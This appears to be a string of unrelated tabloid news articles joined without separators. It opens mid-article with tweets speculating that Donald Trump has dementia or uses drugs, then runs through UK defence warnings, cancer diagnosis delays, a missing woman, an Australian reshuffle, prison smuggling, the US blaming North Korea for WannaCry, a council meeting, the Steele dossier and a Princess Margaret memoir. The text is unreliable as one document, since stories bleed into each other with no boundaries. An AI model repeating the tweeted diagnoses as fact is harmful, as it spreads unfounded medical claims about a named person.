'Trump slurs ... that's not the give away. Holding a water bottle with two hands is. I suspect dementia or blood sugar swings. Noting the change in his speaking style and sentences suggest dementia or heavy drug use,' Matthew Milller Sr. wrote.

Twitter user @KungFu_Grip added: 'My great grandmother who had dementia drank water like Trump did and barely ate before she passed away.'

While 'Evidence-Based Chuck E.' wrote: 'I use two hands on a glass when my hand shaking is out of my control (I have essential tremor). My guess is Trump is hiding that kind of shaking (or Parkinsons). Of course, that's also ME applying MY condition to him, so, take that for what it's worth.'

Tom Joseph added: With today's speech, anyone can clearly see Trump's crumbling health. Slurring, sippy cup style water drinking, involuntary jerks & restricted eye mvmts on display-part of his dozen+ symptoms of Frontotemporal Dementia

'It's degenerative, highly progressive & worsening every week.'

Others joked the problem may just be Trump's hands.

'Are his hands too small to hold a glass? Is this why he uses both?' user @Tokenarino wrote.

'Can't someone please just get him a sippy cup!!!' Mark Callaghan added.

'That's exactly how my 2-year-old nephew drinks from a glass,' Twitter user @mcnultyruss tweeted.
Theresa May's national security adviser last night suggested there would be no new money to protect the country despite his alarming warnings of the soaring threats facing the UK.

Mark Sedwill said the threat from Russia was worse than ever imagined as he compared the effect of cyber-attacks on the UK to bombing raids during World War 2.

Giving evidence to a parliamentary inquiry, he also warned the terrorist threat had 'diversified and dispersed', partly because of the military success in Iraq and Syria.

But despite the rising threats, he suggested a crucial ongoing review of Britain's security and defence capability would not result in any more cash for the military and spies.

This prompted suggestions from MPs that there would be a 'trading-off' of some defence capabilities in which ships would be scrapped to meet other more modern threats such as cyber.

Mark Sedwill (pictured) compared the effect of cyber-attacks on the UK to bombing raids during World War 2

MPs and Lords responded by telling him the Government needed to 'wake up' to the 'enormous scale' of the threats facing Britain and not underestimate an assertive Russia.

Mr Sedwill is carrying out a wide-ranging review examining the state of UK defences, due to be published early next year. Yesterday he admitted for the first time it was a 'fiscally neutral exercise'.

'This exercise is looking at how we can make best use of the resources available to us now against the threat picture', he said.

He said there could be a 'higher impact' with the same amount of money.

The review has prompted concerns from former military chiefs that Britain's armed forces could be 'hollowed out' to enable the UK to focus on more 'modern' threats such as cyber.

Mr Sedwill said in the modern era the same effect could be achieved from going after the physical infrastructure of cyber space and the internet than bombing raids in WW2.

He said of Russia and the terrorist threat: 'They have probably become troublesome, faster and more broadly than was anticipated at the time.

'Clearly the Russian attitude has worsened more generally towards the West and that seems set to continue and the terrorist threat has diversified and dispersed.

'Of course that is partly because of the success of the military campaign against Daesh (Islamic State) in Syria and Iraq itself but also because of the way that terrorist threat has developed and innovated.'

He warned Russia were clearly developing capabilities designed to disrupt Nato capabilities in the North Atlantic.

He added: 'We know that the Russian threat is intensifying and diversifying.'

Mr Sedwill hinted that the UK could be forced to rely on its allies to fight future wars, saying: 'One of the capabilities the Russians don't have is allies.'

He said: 'If you put together the British, French and German defence budgets it is about twice the Russian defence budget.

'We can't just compare to our own historic experience.'

Earlier this month it emerged French military chiefs were drawing up plans to let the Royal Marines borrow their warships if UK vessels are axed.

Mr Sedwill said the threat from Russia (pictured, Vladimir Putin) was worse than he ever imagined

Dr Julian Lewis, chair of the defence select committee, responded, saying: 'Anyone who underestimates Russia's military potential and size of their GDP does so at their peril.'

Lord King of Bridgwater, former Northern Ireland Secretary and Defence Secretary during the Gulf War, warned the country needed to 'wake up' to the threats.

He said: 'In the old days if you wanted to attack a country you bomb their airports, you damage their railways lines, now you just shut those systems down.

'It seems to me we still haven't woken up to the enormous scale of what is going on.'

Mr Sedwill also spoke about the threat from extremists and said the Defence Secretary was 'absolutely right' when he said jihadists posing a risk should be killed when necessary.

He said: 'The Defence Secretary is absolutely right that among those interventions is and remains lethal strikes when necessary.'

His comments came as ministers are deciding whether to scrap the navy's amphibious landing fleet to help plug a 20billion funding black hole.

The comments came as a defence select committee published a report on the F-35 fighter jets being bought by the Ministry of Defence to fly off the new aircraft carrier.

The report found there was an 'unacceptable' lack of transparency with regards the costs of the programme.

Both Lockheed Martin and the MoD were unable to say how much each jet would cost when the retrofits, software updates, spares and logistical support was factored in.

In a separate development, academics found suspected Russia-linked Twitter accounts sought to foment fear and discord in Britain after a series of terror attacks.

Cardiff University researchers discovered hundreds of related messages in 47 accounts which were linked to Russia.

Examples included: 'Another day, another Muslim terrorist attack. Retweet if you think that Islam needs to be banned!'

They included nearly 300 messages after May's attack on the Ariana Grande pop concert in Manchester, 140 after June's London Bridge attack and 35 after March's Westminster Bridge atrocity.

A Twitter spokesman said: 'In each of the attacks, the tweets identified in this research represent less than 0.01 per cent of the total tweets sent in the 24-hour period following the attack.'
Men with symptoms of prostate cancer wait four times longer for a diagnosis than women with suspected breast cancer, an audit has revealed.

It takes 56 days, on average, from the time a man first reports symptoms to a GP, for him to be confirmed with prostate cancer.

For breast cancer it takes just 14 days, largely thanks to the national screening programme of regular mammograms.

Experts have long warned that delayed diagnosis is a key reason British cancer survival rates lag behind other Western nations. Health officials have set a target for all cancer patients to be diagnosed within 28 days by 2020, but the study, which tracked nearly 19,000 people diagnosed with cancer in 2014, reveals that hitting that is a long way off.

It takes 56 days, on average, from the time a man first reports symptoms to a GP, for him to be confirmed with prostate cancer (stock image)

For cancers of all types it takes an average of 40 days for someone to be given a definite diagnosis, the researchers for Public Health England revealed.

And more than a fifth of patients experience avoidable delays along the way, they found.

The findings, published in the British Journal of General Practice, reveal the gulf in outcomes between different cancer types.

Breast cancer receives the quickest diagnosis of two weeks, on average, with 75 per cent being diagnosed within 19 days and 92 per cent diagnosed within 60 days.

For prostate cancer, which has one of the slowest diagnosis speeds, the average wait is 56 days, and a quarter of men have to wait 126 days  more than four months. Kidney cancer also takes a long time to diagnose, with an average of 66 days.

While screening for breast cancer is routine  with middle-aged women invited for scans every three years  tests for prostate cancer are haphazard, and more accurate tools are yet to make it out of the laboratory.

Women are typically told they have breast cancer 14 days after undergoing tests, thanks to the national screening programme of regular mammograms

Professor Helen Stokes-Lampard, chairman of the Royal College of GPs, said: 'GPs in the UK have some of the worst access to diagnostic tools in Europe.

'We need better access to both existing and emerging tests and imaging tools that could help us identify cancers, particularly those with symptoms that are more difficult to spot.'

A two-week target for a woman with suspected breast cancer to receive diagnostic testing was introduced in 2010 after a campaign by charities  a target that does not exist for other cancers.

Men over the age of 50 are eligible for a 'PSA' blood test which gives doctors a rough idea of whether they are at risk of prostate cancer. But it is infamously unreliable, and men who get a positive result are usually sent for a biopsy for confirmation.

The NHS is beginning to use more accurate MRI scans in place of biopsies, but not every hospital has the equipment.

I had to ring my hospital... 92 days after being referred When Tom Martin developed symptoms of prostate cancer he had good reason to fear the worst  both his cousin and uncle had been killed by the disease. But the 79-year-old was forced to wait three months for the cancer to be diagnosed and only found out because he rang the hospital 92 days after his initial urgent referral. The former BT manager, pictured, had to wait 63 days just to have a scan to assess his condition. Three months after the referral and a month after the scan Mr Martin phoned Western General Hospital, Edinburgh, and was told he had prostate cancer which was spreading to his lymph nodes. Tom Martin, 79, (pictured) was forced to wait three months for the cancer to be diagnosed Had he not made the call and simply waited for his next appointment it would have been 100 days before he was diagnosed and could begin the treatment he is now receiving. 'I was particularly anxious because of the family history,' he told the Times. 'My uncle had died of prostate cancer and my cousin, who was three years younger than me, did not last very long after his diagnosis.' While he anxiously waited to find out if he had the disease from March until June last year, Mr Martin lived with painful symptoms that woke him at night. 'You are left with the thought, if it had been diagnosed earlier, would that have happened,' he added. Advertisement

Prostate cancer is the most common male cancer, with 47,000 British men diagnosed and 10,900 killed each year. Breast cancer affects similar numbers  with some 53,000 women diagnosed every year and 11,700 fatalities.

But there is a major difference in publicity levels, which experts fear means men and doctors alike are less aware of the symptoms. Breast cancer, for example, has been the subject of major campaigns since the early 1990s, with the recognisable pink ribbon and Race For Life campaigns pushing up funding and awareness levels. It was not until 2007 that Movember, the annual men's cancer campaign, came to Britain.

Heather Blake of Prostate Cancer UK said last night: 'It is clear that it often takes far too long to get a diagnosis for cancer in the UK. Part of the issue for prostate cancer is that, until recently, men with raised PSA levels only had an MRI scan after undergoing a biopsy  a procedure which often needs time to heal before an accurate scan can take place.'

Dr Jodie Moffat, from Cancer Research UK, said: 'The message couldn't be clearer  too many patients have waited far too long for diagnostic tests or getting the results back. This must change. Waiting for a diagnosis is an exceptionally anxious time for patients, so it's vital that no one has to wait longer than necessary.'
A mother-of-two from Colorado has vanished. Police discovered her home was ransacked and her car abandoned in a parking garage.

Police in Fort Collins are asking for the public's assistance with any information about Kimberlee Graves, 41, who has been missing since early December.

Authorities say Graves was last seen at her home the night of December 4. A few days later, on December 8, a friend was unable to get a hold of her and requested a welfare check.

Kimberlee Graves (pictured with her children) has been missing since early December

Graves was last seen on December 4, her friend called police for a welfare check on the 8

When police arrived at her home on Akin Avenue, no one answered and her car was gone.

Two days later, her friend, who was still concerned, entered her home and called the cops to say Graves' place had been ransacked.

Detectives working on her disappearance say they found her red RAV4 SUV abandoned in a parking garage on College Avenue and Mulberry Street on December 13.

Police say that Graves, whose Facebook profile says she is a certified massage therapist, has disappeared under suspicious circumstances.

Her friend and neighbor for about eight years says he's concerned about the people Graves was associating with.

'Too friendly. People in her house all the time. She had a nice 2015 RAV4 and she would just let people drive it. Next thing I know it was side swiped, the window was broken out. I see someone keyed bad words into her door,' said Cordova to KDVR. 'I kind of got onto her about trusting people too much and now look.'

'I'm just really concerned. I'm curious what happened to my friend. I heard about it when detectives came over to ask me questions -- when is the last time I'd seen her, do I know the people that go over there, couple questions, that's about it,' said Cordova.

'They were here around-the-clock for about four days straight,' he added about the police presence on his street.

He also said he's been trying to get the word out about Graves' disappearance.

'I keep sharing her stuff on Facebook and put it out there,' Cordova told 9NEWS on Monday.

Graves' concerned friend entered the home two days after the welfare check and called police again to say the place had been ransacked

Police say as of yet there is no evidence of injury, but are asking for the public's help in locating the mom.

'There's no evidence that would indicate injury to Kimberlee, but because of the kind of suspicious circumstances, we are asking the community's help to locate her,' said Kate Kimble, the public relations manager for Fort Collins Police to 9NEWS.

'We need to cast the net a little wider to find out if anyone in the community might know where she might be,' Kimble said.

Anyone with information should call Fort Collins Police at 970-416-2825 or email tipsline@fcgov.com.
Rising West Australian Liberal Christian Porter will replace George Brandis as Australia's first law officer under a major federal cabinet reshuffle.

Prime Minister Malcolm Turnbull announced a refreshed line-up to take the coalition government into 2018, including two new portfolios.

Peter Dutton will become Minister for Home Affairs, and Michaelia Cash will become Minister for Jobs and Innovation.

Senator Brandis will leave the upper house to become High Commissioner to the United Kingdom, taking over from Alexander Downer who's held the post since 2014.

Rising West Australian Liberal Christian Porter (pictured) will replace George Brandis as Australia's first law officer under a major federal cabinet reshuffle

Peter Dutton (pictured) will become Minister for Home Affairs, and Michaelia Cash will become Minister for Jobs and Innovation

Michaelia Cash (pictured) will head up one of the two major new portfolios announced today

'It's a ministry that showcases the depth of the Liberal and National team, with well-earned promotions for talented individuals, and a number of young and upcoming MPs bringing new skills and energy to the frontbench," Mr Turnbull told reporters in Sydney.

Treasurer Scott Morrison wished his colleague well: 'Congratulations to George on a stellar career in Australian politics and for his leadership of the Senate,' he said.

'It's been great to work with him and I'm sure he will do a great job where he's heading off to.'

Mr Porter, a former WA state attorney-general, is currently Social Services Minister and his portfolio will be handed to Victorian Dan Tehan.

Prime Minister Malcolm Turnbull speaks to the media as he announces changes in his ministerial cabinet during a press conference in Sydney

Senator Brandis (pictured) will leave the upper house to become High Commissioner to the United Kingdom, taking over from Alexander Downer who's held the post since 2014

Prime Minister Malcolm Turnbull announced a refreshed line-up to take the coalition government into 2018 (pictured is Darren Chester)

Meanwhile, Deputy Prime Minister Barnaby Joyce is expected to vacate his agriculture portfolio and pick up transport and infrastructure from his Nationals colleague Darren Chester.

Mr Chester has been dumped, with little-known Queensland backbenchers David Littleproud and John McVeigh taking his place.

Mr Littleproud - a first-term Nationals backbencher - will be the new Agriculture Minister, and Mr McVeigh will head the Regional Development portfolio.

The dumping of Mr Chester could be a result of political payback, as he backed Ms McKenzie rather than Mr Joyce's pick, Matt Canavan.

Senator Brandis will leave the upper house to become High Commissioner to the United Kingdom, taking over from Alexander Downer who's held the post since 2014 (pictured is Barnaby Joyce)

New deputy Nationals leader Bridget McKenzie (pictured), who replaced disqualified senator Fiona Nash, is also expected to earn a cabinet spot

Mr Chester held the position since early 2016, and was a strong supporter of same-sex marriage.

Mr Turnbull said the composition of the ministry had to take into account 'matters of geography'.

Mr Joyce had insisted Mr Chester, a Victorian, make way for more Queenslanders given a large proportion of the Nationals party room comes from the sunshine state.

'It's a big country, and we've got to take into account wide representation,' he said.

However, new deputy Nationals leader Bridget McKenzie, who replaced disqualified senator Fiona Nash, has also earned a cabinet spot.

She will take charge of the Sport, Rural Health and Regional Communications portfolios.

Mr Porter (pictured, right with Mr Turnbull), a former WA state attorney-general, is currently Social Services Minister

Justice Minister Michael Keenan (pictured) could be in line to take on a security role under the new Home Affairs mega portfolio

Cabinet secretary Arthur Sinodinos, who is battling illness, will not return to the cabinet table next year.

His cancer treatment taking longer than anticipated, and he is unlikely to return from leave until the middle of next year.

'We wish him all the best in his recovery,' said Mr Turnbull.

Elsewhere, Justice Minister Michael Keenan will take on a security role under the new Home Affairs mega portfolio to be overseen by current Immigration Minister Peter Dutton, becoming Minister for Human Services.

Mr Turnbull also praised the distinguished service of Senator Brandis, who he intends to recommend to replace Alexander Downer in London.

'I hope ... that George's public service to our nation is not over.'

Finance Minister Mathias Cormann becomes Leader of the Senate and will also take over responsibility as Special Minister of State.
Vegan graffiti has emerged in Melbourne, with phrases such as 'if you love animals don't eat them' scrawled across a popular walkway.

The colourful slogans appeared to have been written in chalk across Princess Bridge, over the iconic Yarra River.

The words appeared beneath the crests on the bridge, the sidewalk, and even on a walkway near Hamer Hall and the Southbank Promenade.

Vegan graffiti has emerged in Melbourne, with phrases such as 'if you love animals don't eat them' scrawled across a popular walkway

Among the messages was one that compared consuming animal by products to the suffering of animals.

'Dairy, eggs and meat = torture, misery, animal abuse, death,' it read.

While others said 'if you love animals don't eat them' and 'choose vegan', with a website address also scribbled across the floor.

Photos of the graffiti were posted to social media following their appearance, with some praising the efforts.

The words appeared beneath the crests on the bridge,the sidewalk (right), and even on a walkway near Hamer Hall and Southbank Promenade (left)

Photos of the graffiti were posted to social media following their appearance, with some praising the efforts (Pictured is Princess Bridge)

'Saw these awesome messages over the Yarra on Saturday. High five to whoever wrote them,' one woman wrote.

It follows a face-off between vegans and meat eaters in September that saw other slogans spray-painted across fences in Greensborough in the city's north-east.

The feud began in July after a resident sprayed 'Eat Vegan' in large black block letters on the fence before it was replaced with 'Say No To Tofu'.

Residents in nearby Briar Hill said they had also noticed other forms of pro-vegan graffiti around their suburb.
More than 6,500 prisoners linked to organised crime gangs are helping orchestrate smuggling rackets behind bars, a new study has found.

One in every 13 of England and Wales' 85,500 inmates are involved in, or have connections to, gangs sneaking drugs, weapons and mobile phones over the walls.

The figure, calculated by the National Crime Agency and the Prison Service, reveals for the first time the scale of a problem fuelling a surge in violence and disorder in jails.

More than 6,500 UK inmates have been linked to an increase in the smuggling of drugs, weapons and phones into prisons

Justice Secretary David Lidington used a keynote speech yesterday to warn that smuggling gangs were attacking prisons to exploit the 'captive market'.

Illegal operations to sneak contraband into jails had changed from 'crude and opportunistic' to 'sophisticated and systematic'  including the use of new technologies including smartphones and drones.

He said: 'The fact is, our prisons are facing a clear and present danger from well-organised individuals and criminal networks.

'These are networks that are every bit as professionally operated as a legitimate business but they happen to be engaged in criminal activity.

'Over the past few years these gangs have exploited opportunities to target and profit from what is literally a captive market in prisons.

'Smuggling has gone from crude and opportunistic - a friend or family member chancing their luck and throwing a bag of drugs over a prison wall - to sophisticated and systematic.

Smuggling has changed from 'crude and opportunistic' to 'sophisticated and systematic', including the use of drones

'Complex supply chains overseen by professional criminal gangs, delivering and dispatching contraband on a commercial scale.'

'Mr Bigs' who are locked up use mobile phones sneaked into prisons to run multi-million-pound crime empires from their cells and arrange for drone flights to carry contraband over the walls.

More junior gang members who are behind bars help crime bosses smuggle illicit goods into jails, providing a vital part of the supply chain and distribution network.

Prisons Minister Sam Gyimah said gangs operated 'without fear of reprisal, displaying a shameful disregard for the law'.

Each of the inmates was a 'cog in the machinery' of the lucrative illicit trade, he said.

'They have a misplaced belief that their actions will be ignored and go unpunished,' the minister said.

'But they couldn't be further from the truth. That's because we are stepping up our game against these crime gangs and doing all we can to crack down on them.'

Last week a gang of criminals were jailed for smuggling weapons, phones and drugs worth up to 1.2million into prisons

The Ministry of Justice said there had now been 28 convictions and combined sentences of more than 82 years for those involved in drone attacks against prisons.

That includes a gang of criminals who were jailed last week for using a drone to smuggle weapons, mobile phones and drugs worth 1.2million into prisons across the UK.

From his cell, armed robber Craig Hickinbottom, 35, organised the flights to sneak illicit packages containing screwdrivers, hacksaw blades and even a Freeview box and remote control over jail walls.

But his 11-strong gang was smashed after a two-year investigation by prison intelligence officers and police.

Intelligence-led operations have been boosted in an attempt to tackle the smuggling operations, with the prison service working closely with police to identify criminal activity.

The MoJ has recently set up the National Intelligence Unit and five Regional Intelligence Units, teams made up of 50 specialists whose job it is to expose, analyse and define the nature of the threat posed by organised crime gangs in prisons.

The evidence is fed into HM Prison and Probation Service's Serious Organised Crime Unit (SOCU), which disrupts the crime gangs by co-ordinating planned operations within prisons.

The department has also invested 2million in mobile phone detection technology, such as handheld and portable mobile phone detectors to help crackdown on the problem, as well as 3million on body-worn cameras for all prison officers to help build cases against offenders.

Mr Lidington also used his speech to call for tiny mobile phones designed to be smuggled into prisons to be banned from sale.

Convicts buy the miniature devices - some no bigger than a lipstick tube - because they are easy to sneak behind bars.

The devices can be bought for as little as 25 but change hands for up to 500 inside prisons. About 20,000 illicit phones and sim cards were recovered by guards in 2016.
The US is publicly blaming North Korea for a ransomware attack that infected hundreds of thousands of computers worldwide in May and crippled parts of Britain's National Health Service.

Homeland security adviser Tom Bossert writes in a Wall Street Journal op-ed published Monday night that North Korea was 'directly responsible' for the Wannacry ransomware attack and that Pyongyang will be held accountable for it.

Bossert says the administration's finding of responsibility is based on evidence and confirmed by other governments and private companies, including the United Kingdom and Microsoft.

White House homeland security adviser Tom Bossert (pictured) is publicly blaming North Korea for a ransomware attack that infected hundreds of thousands of computers worldwide in May and crippled parts of Britain's National Health Service

US officials believe that North Korea (pictured is dictator Kim Jong-un) was responsible for the Wannacry ransomware attack and that Pyongyang will be held accountable for it

Bossert says the Trump administration will continue to use its 'maximum pressure strategy to curb Pyongyang's ability to mount attacks, cyber or otherwise.'

Pyongyang has previously denied hacking allegations.

'The attack was widespread and cost billions, and North Korea is directly responsible,' Tom Bossert, homeland security adviser, wrote.

'North Korea has acted especially badly, largely unchecked, for more than a decade, and its malicious behavior is growing more egregious.

'WannaCry was indiscriminately reckless.'

The White House was expected to follow up on Tuesday with a more formal statement blaming Pyongyang, according to a senior administration official.

The government has assessed with a 'very high level of confidence' that a hacking entity known as Lazarus Group, which works on behalf of the North Korean government, carried out the WannaCry attack, said the official, who spoke on condition of anonymity to discuss details of the government's investigation.

Up to 300,000 computers in 150 countries were affected by the hack last may

North Korea denied it was behind the WannaCry ransomware attack in October, calling the accusations 'beyond the limit of our tolerance'.

A third of Britain's public hospitals were affected when the global cyber attack hit the NHS May, according to a government report, while up to 300,000 computers in 150 countries were also affected.

Researchers quickly pointed the finger at Pyongyang, saying that the code used was similar to past hacks blamed on Kim Jong-Un's regime.

British Home Office minister Ben Wallace said London was 'as sure as possible' that North Korea was responsible. But North Korea has slammed the UK over the accusation, calling it a 'wicked attempt' to further tighten international sanctions against the secretive state.

According to the South Korean government, the North has a 6,800-strong unit of trained cyberwarfare specialists.

Experts say the North appears to have stepped up cyberattacks in recent years in a bid to earn hard foreign currency in the face of tougher United Nations sanctions imposed over its nuclear and missile programmes.

North Korea denied 'wicked' claims it was behind the WannaCry ransomware attack in October. Pictured: North Korean dictator Kim Jong-Un

Lazarus Group is widely believed by security researchers and US officials to have been responsible for the 2014 hack of Sony Pictures Entertainment that destroyed files, leaked corporate communications online and led to the departure of several top studio executives.

North Korean government representatives could not be immediately reached for comment but the country has repeatedly denied responsibility for WannaCry and called other allegations about cyber attacks a smear campaign.

Washington's public condemnation does not include any indictments or name specific individuals, the administration official said, adding the shaming was designed to hold Pyongyang accountable for its actions and 'erode and undercut their ability to launch attacks.'

The accusation comes as worries mount about North Korea's hacking capabilities and its nuclear weapons program.

Considered unprecedented in scale at the time, WannaCry knocked British hospitals offline, forcing thousands of patients to reschedule appointments and disrupted infrastructure and businesses around the world.

The attack originally looked like a ransomware campaign, where hackers encrypt a targeted computer and demand payment to recover files. Some experts later concluded the ransom threat may have been a distraction intended to disguise a more destructive intent.

WHAT IS RANSOMWARE? Ransomware is a type of malicious software that criminals use to attack computer systems. Hackers often demand the victim to pay ransom money to access their files or remove harmful programmes. The aggressive attacks dupe users into clicking on a fake link  whether it's in an email or on a fake website, causing an infection to corrupt the computer. In some instances, adverts for pornographic websites will repeatedly appear on your screen, while in others, a pop-up will state that a piece of your data will be destroyed if you don't pay. In the case of the Wanna Decryptor or 'WannaCry' Virus that hit the NHS last month, this targets Microsoft's widely used Windows operating system. The NHS was one of the several global government agencies hit by the WannaCry attack (pictured), which affected computers, phones and emergency bleepers in hospitals and GP surgeries The virus encrypts certain files on the computer and then blackmails the user for money in exchange for the access to the files. It leaves the user with only two files: Instructions on what to do next and the Wanna Decryptor program itself. When opened the software tells users that their files have been encrypted and gives them a few days to pay up or their files will be deleted. It can quickly spread through an entire network of computers in a business or hospital, encrypting files on every PC. Such malware can be avoided by checking app permissions, avoiding installing questionable apps and being careful about what email attachments you open. Advertisement

FedEx's computer networks were among the most heavily hit. The international shipper said in September it expected to sustain a $300 million profit hit as a result of the attack.

Some researchers have said they believed WannaCry was deployed accidentally by North Korea as hackers were developing the code. The senior administration official declined to comment about whether U.S. intelligence was able to discern if the attack was deliberate.

'What we see is a continued pattern of North Korea misbehaving, whether destructive cyber attacks, hacking for financial gain, or targeting infrastructure around the globe,' the official said.

WannaCry was made possible by a flaw in Microsofts Windows software, which was discovered by the U.S. National Security Agency and then used by the NSA to build a hacking tool for its own use.

HOW TO SPOT A MALWARE SCAM The biggest giveaway of a malware email is that they are sent without being asked for, so it is always best practice to never open an unsolicited attachment. The subject line of emails in the Scarab attack suggests the image scans they contain were created using printers from a number of reputable firms. This includes Lexmark, HP, Canon and Epson, giving the scam messages an appearance of legitimacy at first glance. However, there may be spelling mistakes or other grammatical errors that give the game away. This might be in the subject line, email address or body text of the message. Archive files, like the 7zip format used in the attack, are also another warning sign of potentially dangerous content. These types of file can be used to try and bypass detection by anti-virus scans. Advertisement

In a devastating NSA security breach, that hacking tool and others were published online by the Shadow Brokers, a mysterious group that regularly posts cryptic taunts toward the U.S. government.

The fact that WannaCry was made possible by the NSA led to sharp criticism from Microsoft President Brad Smith and others who believe the NSA should disclose vulnerabilities it finds so that they can be fixed, rather then hoarding that knowledge to carry out attacks.

Smith said WannaCry provided 'yet another example of why the stockpiling of vulnerabilities by governments is such a problem.'

U.S. officials have pushed back on those assertions, saying the administration discloses most computer flaws that government agencies detect.

Last month, the White House published its rules for deciding whether to disclose cyber security flaws or keep them secret as part of an effort to be more transparent about the inter-agency process involved in weighing disclosure.
The Beatrice City Council approved the acquisition of three properties at its meeting Monday night.

The first property, located at 1118 S. Seventh St. in Beatrice, contained a house the building inspection department determined was in need of demolition, City Administrator Tobias Tempelmeyer said.

The owner of the property, Sharon Kuncl, was willing to deed the property to the city and give the city $2,000 to offset the cost of demolition.

We already own the lot to the north of this, Tempelmeyer told the council. It's a vacant lot, we already own that, we bought it for the flood plane buyout. This house sits below the street, so it sits in the flood plane.

The citys plan is to turn the land into green space and add it to part of adjacent Chautauqua Park, Tempelmeyer said. The council approved the transfer unanimously.

The second property the city acquired on Monday was a plot of land at 916 Ella St., which contained a structure that was demolished about 18 months ago, Tempelmeyer said.

The city has been trying to find a way to cover the costs of demolition for some time, Tempelmeyer said. The city was finally able to make contact with the property owner, Marina Stansberry, who was willing to deed the property to the city and, in return, the city agreed to mark a judgment against her as satisfied in exchange.

The owners of the property next door are interested in acquiring the lot, Tempelmeyer said. They currently have a rental property on their lot and are looking to build a garage in the future and possibly combine the two lots.

Council member Rich Kerr asked how much the city had invested in the property, to which Tempelmeyer said they had spent about $6,500 on demolition and probably wouldnt make that amount in a sale of the property.

I'm sure of that, Kerr said. As long as we don't have to mow it, I don't care.

The council approved the acquisition unanimously.

The final property included three parcels of land owned by Farmers Cooperative near the intersection of First and Grant streets. The property is also located in the flood plain, Tempelmeyer said, and would be returned to green space along with neighboring city property.

The city negotiated with representatives of Farmers Cooperative who agreed to sell the land to the city for $20,000, he said.

They are in the process of moving all the 55-gallon drums that are down there, Tempelmeyer said. Those will all be removed. When it's done, the city will come in and clear off what's left of the property. There's a Quonset and some concrete. We'll remove those items and it'll become part of the rest of the property down there.

Since the property does lie in the flood plain, Tempelmeyer said, nothing would be built there again. The city is planning to plant native grass there, he said, and maybe build a walking path through the property.

Butterfly and bee-friendly? Council member Ted Fairbanks asked.

That'd be the hope, Tempelmeyer said.

The acquisition was approved unanimously.
Claims have resurfaced that the FBI offered the British spy behind the 'golden showers' dirty dossier $50,000 to corroborate his claims about now-President Donald Trump.

'I believe, just from examining the public sources, that the FBI offered Christopher Steele $50,000 if he could corroborate the dossier. He either couldn't, didn't, wouldn't, and they didn't pay him the money,' news analyst Andrew Napolitano told Stuart Varney on Fox Business Monday.

Former MI6 agent Steele's dossier claims the Russians possess compromising information that could be used to blackmail Trump, and alleges the Trump campaign colluded with Russia during the 2016 election.

Napolitano appears to be basing his claim on an April report from the New York Times, which cited two sources claiming that an FBI agent met Steele in Rome in October of 2016, just weeks before the presidential election.

The agent offered Steele $50,000 if he could get 'solid corroboration of his reports', which the FBI ultimately never paid out, the report said.

Last week, Deputy Attorney General Rod Rosenstein refused to tell the House Judiciary Committee whether the FBI had paid or offered to pay for the dossier.

Claims have resurfaced that the FBI offered British spy Christopher Steele (pictured) $50,000 to corroborate his claims about now-President Donald Trump in the 'dirty dossier'

Last week, Deputy Attorney General Rod Rosenstein (pictured) refused to tell the House Judiciary Committee whether the FBI had paid or offered to pay for the dossier

Steele's dossier claims the Russians possess compromising information that could be used to blackmail Trump, and alleges the Trump campaign colluded with Russia during the election

'I'm not in a position to answer that question,' Rosenstein replied during the oversight hearing.

Republican Rep. Ron DeSantis followed up by asking, 'Do you know the answer to the question?'

Rosenstein replied: 'I believe I know the answer, but the Intelligence Committee is the appropriate committee' before the Congressman cut him off.

Republicans have accused the FBI of improperly basing wiretap requests for the Trump campaign on the dossier written by Steele, a former British intelligence investigator who was hired by the firm Fusion GPS to do opposition research for the Democrats.

To date, however, there has been no evidence to suggest the FBI wiretaps were improperly obtained.

Questions over the FBI's alleged offer to pay a foreign citizen for dirt on a presidential candidate have been mounting in recent days, as Republicans have dialed up their criticism of the Bureau's integrity.

The questions over the FBI's integrity come as Special Counsel Robert Mueller nears completion on his probe into alleged Russian meddling in the election.

Republicans are increasingly questioning the impartiality of Special Counsel Robert Mueller (pictured), after it emerged that a former member of Mueller's team had bashed Trump

FBI agent Peter Strzok (left) was removed from probe when it was found he had exchanged text messages with a mistress, fellow agent Lisa Page (right), disparaging Trump

Strzok's texts even mentioned an 'insurance policy' in the event that Trump was elected

Mueller has charged four people from Trump's inner circle since October, though he has yet to produce evidence that Trump colluded with Russia during the election.

The most recent questions over whether the Muller team has a political bias against Trump emerged earlier this month, after FBI agent Peter Strzok was removed from probe.

It emerged that Strzok had exchanged text messages with a mistress disparaging Trump and supporting Clinton.

The texts even mentioned an 'insurance policy' in the event that Trump was elected.

Strzok exchanged the messages with another member of Muellers team, Lisa Page.

The two were having an extramarital affair that the DOJ worried could make them both subject to blackmail.

Strzok was involved in both the Clinton email and Russia investigations.

Earlier this month, a Republican Congressman grilled FBI Director Christopher Wray on whether Strzok had used Steele's 'dirty dossier' to prepare a warrant application asking for authorization to wiretap the Trump campaign.

'Did Peter Strzok help produce and present the application to the FISA court to secure a warrant to spy on Americans associated with the Trump campaign?' asked Rep. Jim Jordan of Ohio during an oversight hearing.

'Congressman, I'm not prepared to discuss anything about a FISA process,' Wray replied.
No biography is ever quite complete, even after it is finished. My book Maam Darling: 99 Glimpses Of Princess Margaret came out at the end of September. Ever since, strangers have been approaching me with their memories of her.

After doing a talk at one bookshop, an elderly friend of Princess Margaret came up to me, keen to have a word.

My heart slightly sank, as I imagined she would want to tick me off for writing such an irreverent book, which describes, in some detail, the extraordinary demands Margaret made on her friends  keeping them up all night, vetoing fellow dinner guests, growing imperious with drink.

But no: You got her exactly right! she said, Though what Ill never understand is why we let her get away with it for so long.

My book Maam Darling: 99 Glimpses Of Princess Margaret came out at the end of September. Ever since, strangers have been approaching me with their memories of her

Many of the stories about the Princess involved alcohol and/or cigarettes. A man told me that his father had been in the Royal Navy in the Sixties. His task was to escort her round and wait on her with copious amounts of gin.

At one point, he had to carry a silver tray so she could put her cigarettes out on it. He was a human ashtray. Not once did she even acknowledge him, let alone thank him.

I met her when I was in the Girl Guides. She came to the RAF camp I lived on, recalled one lady. She had lunch there and stubbed her cigarette out in her trifle dish. It was the talk of the place for weeks! Not very ladylike behaviour!

In Maam Darling, I mention that Princess Margaret claimed never to have spoken a word to Princess Michael of Kent, even though they were neighbours in Kensington Palace.

I knew Princess Margaret had a reputation for sending her enemies to Coventry. She refused to speak to Princess Diana (after the infamous Panorama interview) and the Duchess of York (after the toe-sucking photograph).

But it had still struck me as bizarre that she claimed never to have exchanged a single word with the wife of her first cousin. Was it perhaps one of Margarets little exaggerations?

But, since the book came out, Princess Michael has herself acknowledged that this was true, adding wittily that their disparity in height  Princess Margaret was barely 5ft, while Princess Michael is nudging 6ft  made it easy for them to avoid one another. I would just look straight over her.

